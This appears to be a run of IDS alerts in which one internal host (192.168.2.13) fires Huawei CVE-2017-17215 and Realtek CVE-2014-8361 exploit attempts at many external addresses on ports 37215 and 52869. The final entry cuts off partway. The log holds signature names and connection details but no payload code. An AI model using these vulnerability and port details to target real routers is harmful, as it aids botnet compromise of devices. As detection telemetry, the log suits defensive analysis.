ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.168.76.154

Timestamp:	07/20/24-23:00:59.020403
SID:	2835222
Source Port:	41716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.172.239.148

Timestamp:	07/20/24-23:01:25.456960
SID:	2829579
Source Port:	52026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.234.38.242

Timestamp:	07/20/24-23:00:59.019716
SID:	2835222
Source Port:	39322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 23.221.87.235

Timestamp:	07/20/24-23:01:27.354991
SID:	2831300
Source Port:	38378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.197.209.75

Timestamp:	07/20/24-23:01:06.805919
SID:	2829579
Source Port:	40230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 68.226.28.124

Timestamp:	07/20/24-23:01:08.392180
SID:	2835222
Source Port:	46750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.67.200.226

Timestamp:	07/20/24-23:01:25.390486
SID:	2835222
Source Port:	34132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.7.185.174

Timestamp:	07/20/24-23:01:22.736716
SID:	2835222
Source Port:	35174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.156.68

Timestamp:	07/20/24-23:01:22.746527
SID:	2829579
Source Port:	44684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 184.235.53.151

Timestamp:	07/20/24-23:01:07.264780
SID:	2025132
Source Port:	53544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.16.60.88

Timestamp:	07/20/24-23:01:04.867862
SID:	2835222
Source Port:	43796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 161.219.99.46

Timestamp:	07/20/24-23:01:25.404749
SID:	2829579
Source Port:	46290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 46.222.69.48

Timestamp:	07/20/24-23:01:20.503048
SID:	2025132
Source Port:	51074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.80.65.90

Timestamp:	07/20/24-23:01:08.392180
SID:	2835222
Source Port:	41662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 122.167.75.170

Timestamp:	07/20/24-23:01:03.955764
SID:	2027339
Source Port:	37530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 99.172.148.31

Timestamp:	07/20/24-23:01:06.243271
SID:	2027339
Source Port:	52718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.8.53

Timestamp:	07/20/24-23:01:32.267589
SID:	2829579
Source Port:	45658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 161.170.71.80

Timestamp:	07/20/24-23:01:17.793503
SID:	2835222
Source Port:	38248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.187.15.229

Timestamp:	07/20/24-23:01:32.201728
SID:	2835222
Source Port:	56544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.174.174.141

Timestamp:	07/20/24-23:01:36.781870
SID:	2835222
Source Port:	45298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 166.150.19.163

Timestamp:	07/20/24-23:01:05.950140
SID:	2025132
Source Port:	47008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 194.79.75.113

Timestamp:	07/20/24-23:01:12.504870
SID:	2835222
Source Port:	52142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.200.28.48

Timestamp:	07/20/24-23:01:02.678688
SID:	2835222
Source Port:	52990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.237.159.15

Timestamp:	07/20/24-23:01:06.802009
SID:	2829579
Source Port:	41530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 173.204.137.85

Timestamp:	07/20/24-23:01:14.550185
SID:	2027339
Source Port:	41260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 212.236.125.79

Timestamp:	07/20/24-23:01:14.525496
SID:	2027339
Source Port:	48664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 49.146.39.71

Timestamp:	07/20/24-23:01:06.571856
SID:	2027339
Source Port:	48708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 197.5.41.2

Timestamp:	07/20/24-23:01:27.354179
SID:	2831300
Source Port:	47792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.214.124.131

Timestamp:	07/20/24-23:01:12.533731
SID:	2829579
Source Port:	59350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 112.182.139.168

Timestamp:	07/20/24-23:01:17.775601
SID:	2829579
Source Port:	60282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.161.212

Timestamp:	07/20/24-23:01:22.747861
SID:	2829579
Source Port:	57288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.198.224.198

Timestamp:	07/20/24-23:01:25.413015
SID:	2829579
Source Port:	55630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.156.204.22

Timestamp:	07/20/24-23:01:36.799485
SID:	2835222
Source Port:	57202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 202.189.16.223

Timestamp:	07/20/24-23:01:14.536803
SID:	2027339
Source Port:	47374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.206.115.125

Timestamp:	07/20/24-23:01:02.601732
SID:	2829579
Source Port:	40544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.185.241.200

Timestamp:	07/20/24-23:00:59.022603
SID:	2835222
Source Port:	52932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 111.37.65.174

Timestamp:	07/20/24-23:01:14.536691
SID:	2831300
Source Port:	39978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 134.45.224.216

Timestamp:	07/20/24-23:01:27.361793
SID:	2027339
Source Port:	60064
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.81.239.235

Timestamp:	07/20/24-23:01:04.842729
SID:	2829579
Source Port:	49432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 71.112.213.237

Timestamp:	07/20/24-23:01:14.546163
SID:	2027339
Source Port:	34056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.32.140.175

Timestamp:	07/20/24-23:01:15.006697
SID:	2835222
Source Port:	44854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.98.144.38

Timestamp:	07/20/24-23:01:27.283164
SID:	2829579
Source Port:	47548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.107.197.136

Timestamp:	07/20/24-23:01:32.276800
SID:	2829579
Source Port:	38840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 135.241.25.166

Timestamp:	07/20/24-23:01:14.509825
SID:	2027339
Source Port:	50586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 223.161.169.143

Timestamp:	07/20/24-23:01:03.934569
SID:	2027339
Source Port:	59994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 2.69.54.160

Timestamp:	07/20/24-23:00:59.021580
SID:	2829579
Source Port:	53236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.83.17.109

Timestamp:	07/20/24-23:01:25.409691
SID:	2835222
Source Port:	54966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.226.134.0

Timestamp:	07/20/24-23:01:36.837667
SID:	2829579
Source Port:	38754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 201.100.90.58

Timestamp:	07/20/24-23:01:06.806393
SID:	2829579
Source Port:	41260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 39.240.110.128

Timestamp:	07/20/24-23:01:06.530408
SID:	2027339
Source Port:	58456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.63.109.5

Timestamp:	07/20/24-23:01:06.813789
SID:	2829579
Source Port:	53234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.92.251.161

Timestamp:	07/20/24-23:01:14.999580
SID:	2829579
Source Port:	36712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 23.221.87.235

Timestamp:	07/20/24-23:01:19.527278
SID:	2027339
Source Port:	37656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.18.59.221

Timestamp:	07/20/24-23:01:25.390959
SID:	2829579
Source Port:	58166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.160.175.59

Timestamp:	07/20/24-23:01:06.806392
SID:	2835222
Source Port:	57058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.245.35.233

Timestamp:	07/20/24-23:00:59.020328
SID:	2835222
Source Port:	42776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 219.243.137.80

Timestamp:	07/20/24-23:01:14.530874
SID:	2831300
Source Port:	50944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 191.94.176.193

Timestamp:	07/20/24-23:01:06.564866
SID:	2025132
Source Port:	46244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.95.222.18

Timestamp:	07/20/24-23:01:25.391568
SID:	2829579
Source Port:	38386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.173.52

Timestamp:	07/20/24-23:01:22.737919
SID:	2835222
Source Port:	46066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.169.135.127

Timestamp:	07/20/24-23:01:22.753217
SID:	2829579
Source Port:	54918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.191.183.76

Timestamp:	07/20/24-23:01:32.271087
SID:	2829579
Source Port:	45618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.39.68

Timestamp:	07/20/24-23:01:25.417465
SID:	2829579
Source Port:	53258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.148.75.78

Timestamp:	07/20/24-23:01:06.804996
SID:	2835222
Source Port:	48962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 1.212.57.243

Timestamp:	07/20/24-23:01:07.330081
SID:	2025132
Source Port:	35222
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.205.39.3

Timestamp:	07/20/24-23:01:06.801053
SID:	2835222
Source Port:	38374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.199.202.121

Timestamp:	07/20/24-23:01:04.874130
SID:	2829579
Source Port:	60930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 104.26.83.71

Timestamp:	07/20/24-23:01:04.219068
SID:	2025132
Source Port:	43308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.92.58

Timestamp:	07/20/24-23:01:25.391404
SID:	2829579
Source Port:	39626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 103.163.69.80

Timestamp:	07/20/24-23:01:32.206772
SID:	2835222
Source Port:	47640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 176.151.180.197

Timestamp:	07/20/24-23:01:14.539379
SID:	2831300
Source Port:	44528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.140.230.143

Timestamp:	07/20/24-23:01:04.893876
SID:	2829579
Source Port:	40742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.211.137.240

Timestamp:	07/20/24-23:01:27.229449
SID:	2829579
Source Port:	50928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.122.14.146

Timestamp:	07/20/24-23:01:08.407500
SID:	2835222
Source Port:	52894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 121.35.219.146

Timestamp:	07/20/24-23:01:04.763827
SID:	2027339
Source Port:	55270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.230.171.137

Timestamp:	07/20/24-23:01:08.435254
SID:	2835222
Source Port:	45954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.78.107.93

Timestamp:	07/20/24-23:01:04.870311
SID:	2835222
Source Port:	38046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 158.244.218.71

Timestamp:	07/20/24-23:01:25.391568
SID:	2829579
Source Port:	40308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 48.113.240.162

Timestamp:	07/20/24-23:01:14.517363
SID:	2027339
Source Port:	33822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 89.116.1.211

Timestamp:	07/20/24-23:01:14.501229
SID:	2831300
Source Port:	49114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 204.210.9.128

Timestamp:	07/20/24-23:01:14.559132
SID:	2027339
Source Port:	50004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.53.114.4

Timestamp:	07/20/24-23:01:04.855996
SID:	2829579
Source Port:	37016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 61.168.45.140

Timestamp:	07/20/24-23:01:25.406212
SID:	2835222
Source Port:	38342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.63.203.166

Timestamp:	07/20/24-23:01:36.785491
SID:	2835222
Source Port:	43564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 58.55.6.110

Timestamp:	07/20/24-23:01:04.153300
SID:	2025132
Source Port:	52134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 40.14.24.23

Timestamp:	07/20/24-23:01:07.251986
SID:	2027339
Source Port:	33638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 1.125.24.131

Timestamp:	07/20/24-23:01:19.859226
SID:	2027339
Source Port:	55592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 186.48.96.212

Timestamp:	07/20/24-23:01:36.850220
SID:	2829579
Source Port:	38896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 153.105.129.20

Timestamp:	07/20/24-23:01:06.557827
SID:	2027339
Source Port:	60952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.83.90

Timestamp:	07/20/24-23:01:04.892375
SID:	2835222
Source Port:	56074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.119.197.216

Timestamp:	07/20/24-23:01:02.669608
SID:	2829579
Source Port:	37176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.178.20.242

Timestamp:	07/20/24-23:00:59.020175
SID:	2829579
Source Port:	56530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.74.135.43

Timestamp:	07/20/24-23:01:02.678688
SID:	2835222
Source Port:	47188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 165.40.137.113

Timestamp:	07/20/24-23:01:20.463712
SID:	2025132
Source Port:	46486
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.209.60.208

Timestamp:	07/20/24-23:00:59.020191
SID:	2829579
Source Port:	38858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.133.136

Timestamp:	07/20/24-23:01:12.533730
SID:	2835222
Source Port:	56068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.89.205.146

Timestamp:	07/20/24-23:01:14.520422
SID:	2027339
Source Port:	46936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.147.162.60

Timestamp:	07/20/24-23:01:36.780780
SID:	2829579
Source Port:	58760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.219.167

Timestamp:	07/20/24-23:01:22.746527
SID:	2835222
Source Port:	54510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.181.146.64

Timestamp:	07/20/24-23:00:59.021510
SID:	2835222
Source Port:	41822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 204.46.251.166

Timestamp:	07/20/24-23:01:03.943153
SID:	2025132
Source Port:	39056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.213.14.144

